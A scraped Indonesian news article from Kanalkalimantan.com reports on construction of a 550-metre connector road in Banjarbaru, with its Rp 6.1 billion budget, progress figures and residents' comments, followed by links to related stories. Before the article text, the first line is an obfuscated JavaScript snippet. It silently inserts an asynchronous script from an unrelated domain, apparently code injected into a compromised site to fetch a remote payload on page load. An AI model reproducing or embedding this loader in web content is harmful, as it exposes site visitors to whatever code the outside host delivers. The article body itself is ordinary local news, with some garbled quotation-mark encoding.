(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Proses pengerjaan jalur baru dari jalan Karang Anyar tembus Amaco ke jalan Panglima Batur, Banjarbaru mulai dikerjakan dan bakal menelan anggaran mencapai Rp 6,1 miliar.
Sampai saat ini, proses pengerjaan jalan tembus masih terus berlangsung setelah pergantian pagar dan rumah dinas PLN sudah dilakukan.
Pantauan Kanalkalimantan.com, Selasa (27/8), terlihat pekerja sudah melakukan kegiatan pengerjaan badan jalan di kawasan itu. Pekerja mulai melakukan pengerasan jalan dan pelebaran serta pemasangan batu drainase.
Kabid Bina Marga Dinas PUPR Banjarbaru, Eka Yuliesda mengatakan, saat ini proses pengerjaan jalan Karang Anyar ke jalan Panglima Batur, Kelurahan Mentaos, Kecamatan Banjarbaru Utara masih sekitar 13 persen.
“Untuk pengerjaan ditargetkan Desember bisa rampung,†katanya, Selasa, (27/8).
Sekadar diketahui dana untuk pergantian pagar dan rumah dinas PLN menelan total biaya sebesar Rp 2,2 miliar.
Selanjutnya untuk anggaran pembangunan jalan pada tahun anggaran 2018 sekitar Rp 600 juta dan untuk tahun anggaran 2019 sebesar Rp 3,3 miliar, sehingga total anggaran pembangunan jalan baru tersebut sebesar Rp 3,9 miliar.
Untuk panjang jalan tembus itu sekitar 550 meter sedangkan untuk panjang pagar yang dibangun sekitar 400 meter.
Kasi Pembangunan Jalan dan Jembatan Dinas PUPR Kota Banjarbaru, Adi Maulana menambahkan, jalan baru penghubung antara jalan Karang Anyar dengan Jalan Panglima Batur panjang totalnya 550 meter.
“Total badan jalan yang dibebaskan panjang sekitar 550 meter dengan lebar 15 meter. Tapi nantinya lebar jalan itu dikurangi untuk drainase dan trotoar, sehingga lebar jalan yang akan diaspal sekitar 10 meter,†katanya.
Disebutkannya, total biaya pembangunan jalan, pergantian pagar dan rumah dinas PLN sekitar Rp 6,1 miliar.
Dengan rincian untuk pergantian pagar dan rumah dinas PLN telah menelan total biaya sebesar Rp 2,2 miliar.
Anggaran pembangunan jalan pada tahun anggaran 2018 sekitar Rp 600 juta dan untuk tahun anggaran 2019 sebesar Rp 3,3 miliar, sehingga total anggaran pembangunan jalan sebesar Rp 3,9 miliar.
Sementara itu, masyarakat sekitar mengharapkan proses pengerjaan jalan tembus di kawasan Amaco Banjarbaru diselesaikan secepat mungkin. Seperti halnya yang diungkapkan, Satrio (27) warga Kecamatan Banjarbaru Utara. “Saya berharap jalan baru ini cepat diselesaikan,†katanya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.